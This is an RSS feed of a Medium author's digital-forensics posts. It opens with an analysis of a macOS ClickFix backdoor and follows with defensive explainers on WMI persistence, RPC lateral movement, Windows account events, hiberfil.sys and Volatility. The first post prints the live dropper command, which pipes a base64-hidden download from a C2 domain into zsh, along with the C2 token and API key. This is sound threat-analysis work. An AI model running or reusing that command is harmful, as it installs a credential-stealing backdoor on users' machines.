<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mahmoud  Swelam on Medium]]></title>
        <description><![CDATA[Stories by Mahmoud  Swelam on Medium]]></description>
        <link>https://medium.com/@mahmoud.o.swelam?source=rss-e53fc1c17468------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ED6PjVl043USQSqkZeIJMg.jpeg</url>
            <title>Stories by Mahmoud  Swelam on Medium</title>
            <link>https://medium.com/@mahmoud.o.swelam?source=rss-e53fc1c17468------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 06:36:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mahmoud.o.swelam/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Deconstructing a macOS Backdoor: From a Suspicious URL to a Multi‑Stage Payload.]]></title>
            <link>https://medium.com/@mahmoud.o.swelam/deconstructing-a-macos-backdoor-from-a-suspicious-url-to-a-multi-stage-payload-f12f23aa435a?source=rss-e53fc1c17468------2</link>
            <guid isPermaLink="false">https://medium.com/p/f12f23aa435a</guid>
            <category><![CDATA[stealer]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[Mahmoud  Swelam]]></dc:creator>
            <pubDate>Tue, 21 Apr 2026 12:41:13 GMT</pubDate>
            <atom:updated>2026-04-21T12:57:57.184Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>A step‑by‑step analysis of a live ClickFix campaign targeting Mac users — from a deceptive web page to a credential‑harvesting AppleScript payload.</em></blockquote><p>The attack begins when a potential victim navigates to the following URL:<br>https://ultranodecluster1.cyou/s3/?c=AGIk5mlxgAUAHYwCAEVHOQAMAAAAAAAL</p><p>The page is designed to look like a legitimate support document. It displays the title “<strong>Download for macOS Verified Publisher</strong>” and provides step-by-step instructions on how to “fix” a non-existent click issue by opening the Terminal and running a specific command. This social engineering technique, known as <strong>ClickFix</strong>, is highly effective because it makes the user an unwitting accomplice in their own compromise, directly bypassing browser and email security filters</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F1185106444%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F1185106444&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F2148431576-d13e8d07e64d798965800832d851b55c264354f9a1cf7c00f9acc2b6e5f94cc2-d_1280%3Fregion%3Dus&amp;type=text%2Fhtml&amp;schema=vimeo" width="1920" height="1712" frameborder="0" scrolling="no"><a href="https://medium.com/media/2e73ecf2360e42336ad1da26eeb1b9c0/href">https://medium.com/media/2e73ecf2360e42336ad1da26eeb1b9c0/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TpfvZf_4tYRCtakd-aLYQw.jpeg" /><figcaption>After running it in the terminal, this is what you get.</figcaption></figure><h3>Analysis of the Zsh Dropper</h3><p>The command the user is instructed to run is a one-liner that downloads and executes the first-stage payload:</p><pre>curl -kfsSL $(echo &#39;aHR0cDovL2FpaGVhbHRocmluZy5jb20vY3VybC85ZWYzOGQ4MTljMjFmMGNlMmJjNTA0NGNjYzJjZmFhM2ViNjg0MjRlMDBmY2RjM2VhZWJhZmUyZWIzZmUzMThi&#39;|base64 -D)|zsh</pre><ul><li>The long base64 string decodes to: <a href="http://aihealthring.com/curl/9ef38d819c21f0ce2bc5044ccc2cfaa3eb68424e00fcdc3eaebafe2eb3fe318b.">http://aihealthring.com/curl/9ef38d819c21f0ce2bc5044ccc2cfaa3eb68424e00fcdc3eaebafe2eb3fe318b</a></li><li>curl -kfsSL downloads the script from the decoded URL, ignoring SSL errors and following redirects.</li><li>The downloaded script is then piped directly to zsh for execution.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ujKQH3I2nqghYG68FPM7aQ.png" /><figcaption>Direct C2 Request with Embedded Gzip Payload</figcaption></figure><p>When we decode and decompress that embedded block using cyberchef</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yIAcO41SaEURc4SUjhK0VA.png" /></figure><h3>Execution Chain</h3><p>The malware follows a two-stage execution model:</p><p><strong>Stage 1 — Initial Execution &amp; C2 Check-in</strong></p><p>Upon execution, the script redirects all standard I/O to /dev/null and forks itself into the background, completely detaching from the calling process. It then performs an HTTP GET request to the C2 server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LOotyZ4LRil2JZtYzetO6Q.png" /></figure><p>The response body from the server is piped directly into osascript, granting the attacker arbitrary code execution privileges on the macOS system. This is a classic ‘fileless’ RCE technique — no secondary payload is written to disk at this stage.</p><p><strong>Stage 2 — Data Collection &amp; Exfiltration</strong></p><p>The Stage 1 AppleScript payload is responsible for collecting data and writing it to /tmp/osalogging.zip. The backdoor then locates this file and exfiltrates it using a chunked HTTP PUT protocol:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0lyfq_HfJxnl9tb8yao-xQ.png" /></figure><p>The response body from the server is piped directly into osascript, granting the attacker arbitrary code execution privileges on the macOS system. This is a classic ‘fileless’ RCE technique — no secondary payload is written to disk at this stage.</p><p>After successful exfiltration, the archive is deleted from disk: rm -f /tmp/osalogging.zip</p><h3>3.2 Hardcoded C2 Configuration</h3><pre>local domain=&quot;aihealthring.com&quot;<br>local token=&quot;9ef38d819c21f0ce2bc5044ccc2cfaa3eb68424e00fcdc3eaebafe2eb3fe318b&quot;<br>local api_key=&quot;de62a2f47d1c7dec2997f931a050a615&quot;<br>local file=&quot;/tmp/osalogging.zip&quot;</pre><ul><li><strong>Domain:</strong> aihealthring[.]com – the command &amp; control server.</li><li><strong>Token:</strong> a 64‑character hex string (likely a unique victim or campaign ID).</li></ul><h3>3.3 File Upload Routine</h3><p>If /tmp/osalogging.zip exists and is non‑empty, the script uploads it in <strong>chunks of 10 MB</strong> using HTTP PUT requests.</p><p><strong>Why chunked upload?</strong></p><ul><li>Avoids network timeouts for large files.</li><li>Bypasses some content‑size inspection tools.</li><li>Allows resumable uploads (though retry logic is implemented per chunk).</li></ul><p><strong>Key variables:</strong></p><ul><li>upload_id = timestamp + random hex – unique identifier for this upload session.</li><li>total_chunks – calculated from file size.</li><li>Each PUT request goes to /gate?buildtxd=&lt;token&gt;&amp;upload_id=&lt;id&gt;&amp;chunk_index=&lt;i&gt;&amp;total_chunks=&lt;total&gt;</li></ul><p><strong>Diagram</strong> illustrates the full execution chain of the OSALogging macOS backdoor, showing five sequential stages from entry point through daemonization, C2 check-in, chunked exfiltration, and cleanup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XB1knHl_BcKEyIzi4sAqvw.png" /></figure><h3>Key IOCs &amp; MITRE TTPs</h3><p><strong>Domains:</strong><br>nailscanai[.]com · ultranodecluster1[.]cyou <br>aihealthring[.]com</p><p><strong>Token:</strong><br>9ef38d819c21f0ce2bc5044ccc2cfaa3eb68424e00fcdc3eaebafe2eb3fe318b</p><p><strong>API Key:</strong><br>de62a2f47d1c7dec2997f931a050a615</p><p><strong>MITRE:</strong><br>T1566 (Phishing), T1204.002 (User Execution), T1059.002 (AppleScript), T1555 (Credentials), T1041 (Exfiltration over C2).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f12f23aa435a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Daily Bytes in DF]]></title>
            <link>https://medium.com/@mahmoud.o.swelam/daily-bytes-in-df-93a7ccfe311a?source=rss-e53fc1c17468------2</link>
            <guid isPermaLink="false">https://medium.com/p/93a7ccfe311a</guid>
            <category><![CDATA[wmiexec]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Mahmoud  Swelam]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 00:15:41 GMT</pubDate>
            <atom:updated>2026-02-26T00:15:41.667Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>When wmiprvse.exe Spawns PowerShell… You Should Worry<br></em></strong>A single parent-child process relationship can expose a hidden WMI backdoor.<br> In this edition, we unpack the three-part WMI persistence mechanism, real-world abuse cases, and the forensic artifacts that reveal the truth.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*FJLj-g4_cYofjkPpnCf7Kg.jpeg" /><figcaption>Ramadan Mubarak</figcaption></figure><p>Attackers use <strong>CommandLineEventConsumers</strong> as part of a sophisticated <strong>WMI (Windows Management Instrumentation)</strong> persistence mechanism that allows them to execute malicious code automatically when specific system triggers occur. This method is highly valued by adversaries because it does not rely on traditional “AutoRun” registry keys or scheduled tasks, making it a stealthy “fileless” persistence technique.</p><h4><strong>The Three-Part Persistence Mechanism:</strong></h4><p>To establish this type of backdoor, an attacker with administrative privileges must register three discrete components in the WMI repository:</p><ol><li><strong>Event Filter:</strong> This defines the <strong>trigger condition</strong>, such as a specific time interval (e.g., every 20 seconds), a service starting/stopping, a specific user authenticating, or a file being created.</li><li><strong>Event Consumer:</strong> The <strong>action to be taken</strong>. A CommandLineEventConsumer specifically allows the payload to be an <strong>arbitrary executable or command</strong>.</li><li><strong>FilterToConsumerBinding:</strong> The “glue” that <strong>links the filter to the consumer</strong>, ensuring the command runs when the trigger occurs.</li></ol><h4><strong>Why Attackers Use This Method:</strong></h4><ul><li><strong>High Privileges:</strong> WMI event consumers run with <strong>SYSTEM privileges</strong>, granting the attacker full control over the host.</li><li><strong>Stealth and Camouflage:</strong> The configuration is loaded into the WMI repository and can be implemented via <strong>Managed Object Format (MOF) files</strong> or PowerShell, leaving a very small footprint on the disk. Attackers often use names that mimic legitimate services, such as “SCM Event Consumer,” to blend in with standard Windows activity.</li><li><strong>Flexible Payloads:</strong> The CommandLineTemplate property of the consumer can point to a malicious binary (e.g., C:\Windows\evil.exe) or execute a <strong>complex, encoded PowerShell script</strong> to establish a connection to a command-and-control (C2) server.</li></ul><h4><strong>Real-World Examples:</strong></h4><ul><li><strong>Stuxnet:</strong> This was one of the first major malware samples observed using MOF files to auto-compile WMI filters and consumers for immediate code execution.</li></ul><h4><strong>Forensic Detection Points:</strong></h4><p>Investigators can identify these persistent backdoors through several artifacts:</p><ul><li><strong>Event Logs:</strong> Event ID <strong>5861</strong> in the WMI-Activity/Operational log records the creation of new permanent event consumers. <strong>Sysmon Event ID 20</strong> also specifically tracks WMI consumer activity.</li><li><strong>Process Analysis:</strong> In memory, the <strong>wmiprvse.exe</strong> (WMI Provider Host) process acts as the parent. An anomalous relationship where wmiprvse.exe spawns cmd.exe or powershell.exe is a high-fidelity indicator of a WMI-based attack.</li><li><strong>Native Queries:</strong> Analysts can use PowerShell cmdlets like Get-WMIObject -Namespace root\Subscription -Class EventConsumer to list all registered consumers and identify outlier.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93a7ccfe311a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Daily Bytes in DF]]></title>
            <link>https://medium.com/@mahmoud.o.swelam/daily-bytes-in-df-8f53bb7970e9?source=rss-e53fc1c17468------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f53bb7970e9</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Mahmoud  Swelam]]></dc:creator>
            <pubDate>Sat, 14 Feb 2026 17:01:53 GMT</pubDate>
            <atom:updated>2026-02-14T17:01:53.350Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>RPC Lateral Movement: From Port 135 to “Evil.exe”</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T6o_U_aTI7RMjXawtESR_A.png" /></figure><p>Windows remote administration features often ride on MS-RPC, which attackers abuse for lateral movement (remote execution and admin actions) while looking like “normal” Windows management traffic.​<br> The graphic contrasts two common transports for the same idea — RPC over TCP vs RPC over SMB (named pipes) — and shows how each reaches the remote service that ultimately launches the attacker’s payload (“evil.exe”).</p><h3>RPC over TCP (ncacn_ip_tcp)</h3><p>The client (attacker) first connects to the RPC Endpoint Mapper on TCP <strong>135</strong> to ask which port a specific RPC interface/service is listening on.​<br> The mapper replies with a dynamically assigned high port, and the client then opens a second connection directly to that RPC service on a port typically in <strong>49152–65535</strong> (modern Windows default dynamic range).</p><h3>RPC over SMB (ncacn_np)</h3><p>Instead of using a high TCP port, RPC can be carried “directly over SMB” where the endpoint is a <strong>named pipe</strong> (RPC/NP).​<br> In practice this means reaching RPC via SMB TCP <strong>445</strong> (often through the IPC$ path) and talking to a pipe such as <strong>\pipe\svcctl</strong> (Service Control Manager) rather than a random high port.</p><h3>Why attackers like it</h3><p>The Service Control Manager supports remote management via <strong>RPC/TCP</strong> and <strong>RPC/NP</strong>, and clients typically try RPC/TCP first and can fall back to named pipes when TCP RPC is blocked or times out.​<br> That flexibility lets adversaries choose whichever path (135+high ports or 445+named pipes) is most likely to traverse your firewall rules while still achieving remote service actions that can spawn a malicious binary.</p><h3>What to hunt for</h3><p>A classic network footprint is traffic to <strong>135/TCP</strong> followed shortly by traffic where both sides use high dynamic ports (often ≥ <strong>49152</strong>), which indicates endpoint-mapper resolution followed by the real RPC session.<br> If you see lateral movement but <strong>no</strong> 135→high-port pattern, look for <strong>445/TCP</strong> SMB activity consistent with RPC over named pipes (RPC/NP) instead.</p><h3>Check listening RPC ports (local):</h3><p>Run these on the Windows machine you’re investigating:</p><p>List listeners and owning process (PowerShell):</p><ul><li>Get-NetTCPConnection -State Listen | Sort-Object LocalPort | Select-Object LocalAddress,LocalPort,OwningProcess ​</li></ul><p>Classic view (CMD):</p><ul><li>netstat -ano (shows listening ports and PID; correlate PID to process in Task Manager/Process Explorer).​</li></ul><h3>Quick remote check (connectivity)</h3><p>If you just want to confirm the ports are reachable (from another machine):</p><ul><li>Test-NetConnection &lt;target&gt; -Port 135 (endpoint mapper reachability; then test 445 if you suspect RPC over SMB/named pipes).</li></ul><p>Additional :<a href="https://www.thehacker.recipes/ad/recon/ms-rpc">https://www.thehacker.recipes/ad/recon/ms-rpc</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f53bb7970e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Daily Bytes in DF]]></title>
            <link>https://medium.com/@mahmoud.o.swelam/daily-bytes-in-df-1126e43b1a7f?source=rss-e53fc1c17468------2</link>
            <guid isPermaLink="false">https://medium.com/p/1126e43b1a7f</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[domain-controller]]></category>
            <dc:creator><![CDATA[Mahmoud  Swelam]]></dc:creator>
            <pubDate>Sat, 14 Feb 2026 16:31:05 GMT</pubDate>
            <atom:updated>2026-02-14T16:31:05.064Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>4720 → 4732/4728: The Backdoor Account Privilege Trap</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UfFDFJJ6KGK-ny6ycln2gg.png" /></figure><p>The creation of a user account and its subsequent addition to a group are critical <strong>Account Management Events</strong> recorded in the <strong>Windows Security event log</strong>. Adversaries frequently use these actions to establish <strong>persistence</strong> (via backdoor accounts) or to <strong>escalate privileges</strong> by adding compromised accounts to highly privileged groups.</p><p><strong>1. Creating a User Account</strong></p><p>When a new user account is created — whether it is a <strong>local account</strong> on a workstation or a <strong>domain account</strong> on a Domain Controller — Windows generates <strong>Event ID 4720</strong>.</p><p>• <strong>Log Details:</strong> This event records the date, time, the computer where the account was created, and, crucially, the <strong>Subject account</strong> that authorized the creation.</p><p>• <strong>Local vs. Domain:</strong> The same Event ID (4720) is used for both local and domain account creation.</p><p><strong>2. Adding a User to a Group</strong></p><p>Microsoft recommends assigning rights and privileges to <strong>groups</strong> rather than individual users. Attackers exploit this by modifying group memberships to grant their accounts administrative power. The specific <strong>Event ID</strong> generated depends on the scope of the group:</p><p>• <strong>Event ID 4732:</strong> A member was added to a <strong>security-enabled local group</strong> (e.g., the built-in “Administrators” group on a workstation).</p><p>• <strong>Event ID 4728:</strong> A member was added to a <strong>security-enabled global group</strong> (e.g., “Domain Admins”).</p><p>• <strong>Event ID 4756:</strong> A member was added to a <strong>security-enabled universal group</strong>.</p><p><strong>3. Forensic Analysis and “Finding Evil”</strong></p><p>Investigators look for patterns where these events occur <strong>contemporaneously</strong> to identify unauthorized activity.</p><p>• <strong>The Privilege Trap:</strong> A single Event ID 4720 (account creation) does not reveal the new account’s privileges. Analysts must pivot to nearby events, such as a <strong>subsequent 4732 event</strong>, to see if the new user was immediately granted administrative rights.</p><p>• <strong>Unauthorized Modifications:</strong> Reviewing these logs helps identify the creation of <strong>“sleeper” accounts</strong> or unauthorized changes to existing sensitive groups like Enterprise Admins.</p><ul><li><strong>Contextual Clues:</strong> Other related events include <strong>Event ID 4722</strong> (account enabled), <strong>Event ID 4724</strong> (password reset by an admin), and <strong>Event ID 4738</strong> (account changed, such as a name update).</li></ul><p>In summary, while creating users and groups is a standard administrative task, the appearance of <strong>Event IDs 4720 and 4732/4728</strong> associated with an unusual <strong>Subject account</strong> is a high-fidelity indicator of a potential security breach.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1126e43b1a7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Daily Bytes in DF]]></title>
            <link>https://medium.com/@mahmoud.o.swelam/daily-bytes-in-df-b2604a4b95cf?source=rss-e53fc1c17468------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2604a4b95cf</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[memory-forensics]]></category>
            <category><![CDATA[data-loss-protection]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[recovery]]></category>
            <dc:creator><![CDATA[Mahmoud  Swelam]]></dc:creator>
            <pubDate>Fri, 13 Feb 2026 01:44:28 GMT</pubDate>
            <atom:updated>2026-02-13T01:48:15.816Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>Dead-Box Gold, Live-Box Pain: Why hiberfil.sys Fails You After Resume (Win8+)</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nC1SVyQnGFivytOeEGsWyQ.jpeg" /><figcaption>save it maybe not now but later</figcaption></figure><p>The Windows <strong>hibernation file (hiberfil.sys)</strong> is a compressed copy of RAM created when a system transitions into a power-saving hibernation mode. While it is a premier source for “dead-box” memory forensics, modern Windows power management has introduced behaviors that can significantly impact data recovery.</p><p>• <strong>Location and Forensic Value:</strong> It is typically found at <strong>%SystemDrive%\hiberfil.sys</strong>. Its primary value is that it provides a “ready-made” memory image of the system as it existed days, weeks, or even months prior to the current investigation.</p><p>• <strong>Compression Challenges:</strong> Because the file is compressed, it requires post-</p><h4><strong>The “Zeroing” Phenomenon in Modern Windows:</strong></h4><p>Research into modern operating systems (Windows 8, 10, and 11) has revealed a critical limitation: upon resuming from hibernation, the OS often <strong>zeros out data</strong> within the hiberfil.sys file because it is no longer needed.</p><p>• <strong>Incomplete Images:</strong> Because of this zeroing, retrieving a hibernation file from a live system frequently fails to provide a full memory image.</p><p>• <strong>Tool Errors:</strong> Forensic conversion tools like <strong>Arsenal Hibernation Recon</strong> or analysis frameworks like <strong>MemProcFS</strong> may report errors when attempting to parse these zeroed-out files.</p><p>• <strong>Hardware Variables:</strong> The extent of this zeroing behavior can vary; the Arsenal Recon team has noted that results may differ depending on whether the system utilizes an <strong>SSD or a traditional hard drive</strong>.</p><h4><strong>Impact on Password and Credential Recovery:</strong></h4><p>The zeroing of hibernation data is particularly detrimental to <strong>password recovery</strong> efforts.</p><p>• <strong>Loss of Volatile Artifacts:</strong> Password recovery tools, such as <strong>Passware</strong> or <strong>Magnet AXIOM</strong>, typically analyze the hibernation file to find strings, encryption keys, or credentials stored in the <strong>LSASS process memory</strong>.</p><p>• <strong>Broken Carving:</strong> If the data has been zeroed out upon system resume, the specific clusters containing user passwords or hashes are overwritten with null bytes, making it impossible for these tools to carve or search for them.</p><ul><li><strong>Slack Space Exceptions:</strong> Despite primary zeroing, a non-trivial amount of data can sometimes be recovered from <strong>leftover slack space</strong>. This occurs when differently sized hibernation files are created over time, potentially leaving fragments of older, non-zeroed memory states that specialized tools like <strong>Arsenal Hibernation Recon</strong> can extract for analysis.</li></ul><p>In summary, while hiberfil.sys remains a vital forensic artifact for capturing a snapshot of RAM from days or weeks prior, the <strong>zeroing process</strong> in modern Windows means investigators can no longer guarantee the recovery of sensitive credentials or full memory states from live systems</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2604a4b95cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Daily Bytes in DF]]></title>
            <link>https://medium.com/@mahmoud.o.swelam/daily-bytes-in-df-30bc472e35d9?source=rss-e53fc1c17468------2</link>
            <guid isPermaLink="false">https://medium.com/p/30bc472e35d9</guid>
            <category><![CDATA[network-forensics]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[forensics]]></category>
            <dc:creator><![CDATA[Mahmoud  Swelam]]></dc:creator>
            <pubDate>Fri, 13 Feb 2026 00:45:37 GMT</pubDate>
            <atom:updated>2026-02-13T00:45:37.764Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>When Windows “Heals” Itself, Attackers Get Back In: Service Failure Recovery Persistence.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rGcBM0H6HBRm4JKvpWb1Fg.jpeg" /></figure><p>Windows <strong>service failure recovery</strong> is a specialized persistence mechanism where the operating system is configured to launch a specific program or script automatically if a service crashes. While designed for system reliability, it is a lucrative place for defenders to look for “evil” because it is a stealthy method used by adversaries to maintain long-term access.</p><h4><strong>Mechanism and Exploitation:</strong></h4><p>• <strong>Recovery Options:</strong> Windows services have recovery settings that define the computer’s response to a service failure. One such option is <strong>“Run a Program,”</strong> which attackers abuse by pointing it to a malicious binary.</p><p>• <strong>Triggering Persistence:</strong> An attacker may deliberately crash a legitimate service to trigger the execution of their malware. For example, the <strong>Remote Desktop Services (RDP)</strong> is often targeted because there are known vulnerabilities that allow it to be crashed reliably, thereby executing the “recovery” program set by the intruder.</p><p>• <strong>Stealth:</strong> This method is potentially stealthier than simple service creation because the malicious code only runs when a legitimate, expected service fails, rather than running constantly as a standalone suspicious process.</p><h4><strong>Forensic Identification and Analysis:</strong></h4><p>• <strong>Registry Storage:</strong> Service configurations, including failure recovery actions, are stored in the registry under HKLM\SYSTEM\CurrentControlSet\Services\[ServiceName].</p><p>• <strong>Event Log Indicators:</strong></p><p>◦ <strong>Event ID 7034:</strong> This System log event indicates a <strong>service crashed unexpectedly</strong>. Analysts should investigate these, especially if the log indicates a service has crashed multiple times, as sophisticated attacks like process or DLL injection often cause crashes.</p><p>◦ <strong>Event ID 7036:</strong> Indicates when a service has started or stopped, providing a timeline for the crash and subsequent recovery attempt.</p><p>• <strong>Specialized Tooling:</strong></p><p>◦ <strong>Kansa Framework:</strong> Most standard tools do not collect recovery information, but the Kansa PowerShell framework includes a specific script, <strong>Get-SvcFail.ps1</strong>, designed to collect this data within its default modules.</p><p>◦ <strong>Autoruns:</strong> The Sysinternals <strong>Autoruns</strong> tool is a primary resource for identifying programs configured to start automatically, including those tied to services.</p><p>◦ <strong>MemProcFS:</strong> This tool can extract service information from memory, presenting it in a <strong>services.csv</strong> file for easy analysis of start types and image paths.</p><h4><strong>Mitigation:</strong></h4><p>To prevent this type of abuse, organizations are encouraged to follow the principle of <strong>least privilege</strong>, ensuring users do not have administrative rights to modify service configurations. Additionally, monitoring for unusual service crashes through centralized logging is critical for detecting these real-time remediation tactics.</p><p>Add Recourse :<a href="https://isc.sans.edu/diary/15406">https://isc.sans.edu/diary/15406</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30bc472e35d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Daily Bytes in DF]]></title>
            <link>https://medium.com/@mahmoud.o.swelam/daily-bytes-in-df-cda9449ff734?source=rss-e53fc1c17468------2</link>
            <guid isPermaLink="false">https://medium.com/p/cda9449ff734</guid>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[memory-forensics]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Mahmoud  Swelam]]></dc:creator>
            <pubDate>Wed, 11 Feb 2026 17:33:53 GMT</pubDate>
            <atom:updated>2026-02-11T17:35:04.757Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>How Volatility 2 &amp; 3 Reveal Hidden Processes, Network Activity.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4r1kMnyyW5QTaOmvX2FcxA.jpeg" /><figcaption>only time they will listen</figcaption></figure><p>Volatility operates as a modular framework for memory forensics, using specialized <strong>plugins</strong> to locate, parse, and interpret critical data structures within a RAM image. While Volatility 2 and Volatility 3 share many objectives, they differ significantly in their underlying architecture and how their plugins function.</p><h3><strong>Core Mechanism: Data Structure Parsing:</strong></h3><p>Plugins work by mapping raw memory data to known templates of operating system objects, such as <strong>EPROCESS</strong> blocks (for processes) or <strong>File_Objects</strong> (for cached files).</p><p>• <strong>Volatility 2 Mechanics:</strong> Written in Python 2, it requires the analyst to explicitly provide a <strong>profile</strong> (e.g., --profile=Win10x64_19041). This profile tells Volatility which <strong>symbol table</strong> to use, which acts as a template for where information resides in that specific OS build.</p><p>• <strong>Volatility 3 Mechanics:</strong> A complete rewrite in Python 3 that prioritizes performance and scalability. It features <strong>auto-profile detection</strong> and performs <strong>online symbol table lookups</strong> directly from Microsoft to parse memory structures dynamically.</p><h4><strong>Plugin Methodologies: Linked Lists vs. Scanning :</strong></h4><p>Most Volatility plugins fall into one of two categories based on how they find data:</p><p>1. <strong>Linked List (High-Level) Plugins:</strong> These plugins (e.g., pslist, netstat, pstree) follow the <strong>doubly linked lists</strong> used by the Windows kernel to track active objects. They are fast but can be &quot;lied to&quot; by rootkits that unlink malicious objects from these lists to hide them from the OS.</p><p>2. <strong>Scanning (Low-Level) Plugins:</strong> Plugins with “scan” in the name (e.g., psscan, netscan, modscan) do not trust kernel lists. Instead, they perform a <strong>&quot;data carve&quot;</strong> of physical memory, searching for specific signatures or <strong>pool tags</strong> (like TcpE for network endpoints). This allows them to find <strong>terminated, unlinked, or hidden objects</strong>.</p><h4><strong>Key Plugin Categories and Functions :</strong></h4><p><strong>1. Process Identification and Analysis</strong></p><p>• <strong>pslist (Vol 2/3):</strong> Identifies active processes by following the EPROCESS linked list.</p><p>• <strong>psscan (Vol 2/3):</strong> Scans physical memory for EPROCESS pool allocations; identifies <strong>exited or unlinked processes</strong>.</p><p>• <strong>pstree (Vol 2/3):</strong> Visualises <strong>parent-child relationships</strong> using the linked list to identify anomalous process trees (e.g., msedge.exe spawning cmd.exe).</p><p>• <strong>cmdline (Vol 3) / dlllist (Vol 2):</strong> Extracts the <strong>full command-line arguments</strong> used to launch a process from the Process Environment Block (PEB).</p><p>• <strong>dlllist (Vol 2/3):</strong> Lists loaded libraries for a process. It only identifies DLLs that used the legitimate Windows loader API.</p><p>• <strong>handles (Vol 2/3):</strong> Displays the <strong>handle table</strong> for a process, revealing what files, registry keys, named pipes, and mutants the process is interacting with.</p><h4><strong>2. Network Artifacts:</strong></h4><p>• <strong>netstat (Vol 3):</strong> Uses high-level method to parse network object lists in the tcpip.sys driver.</p><p>• <strong>netscan (Vol 2/3):</strong> A brute-force scanner for <strong>sockets and connections</strong>; vital because network objects often persist in memory long after a connection is terminated.</p><p><strong>3. Detecting Code Injection and Rootkits</strong></p><p>• <strong>malfind (Vol 2/3):</strong> Audits the <strong>Virtual Address Descriptor (VAD)</strong> tree for memory sections marked “executable” that lack a corresponding file on disk — a classic sign of injection.</p><p>• <strong>ldrmodules (Vol 2/3):</strong> Cross-references the three DLL linked lists in the PEB with the VAD tree to find <strong>unlinked DLLs</strong>.</p><p>• <strong>ptemalfind (Vol 3):</strong> Uses <strong>Page Table Entries (PTE)</strong> to identify the “ground truth” of executable code, defeating advanced hollowing techniques that manipulate the PEB or VAD.</p><p>• <strong>psxview (Vol 2):</strong> A <strong>cross-view analysis</strong> plugin that compares seven different process listing methods to highlight inconsistencies, such as a process appearing in a scan but not the linked list.</p><p>• <strong>ssdt (Vol 2/3):</strong> Audits the <strong>System Service Descriptor Table</strong> for hooks pointing to malicious drivers used to hide registry keys or processes.</p><p>• <strong>apihooks (Vol 2):</strong> Scans for userland <strong>Import Address Table (IAT)</strong> or inline function hooks used by malware to intercept API calls.</p><p><strong>4. Extraction and Specialised Artifacts</strong></p><p>• <strong>Dumping:</strong> In Volatility 2, dumping required separate plugins (procdump, dlldump, moddump). In Volatility 3, this is 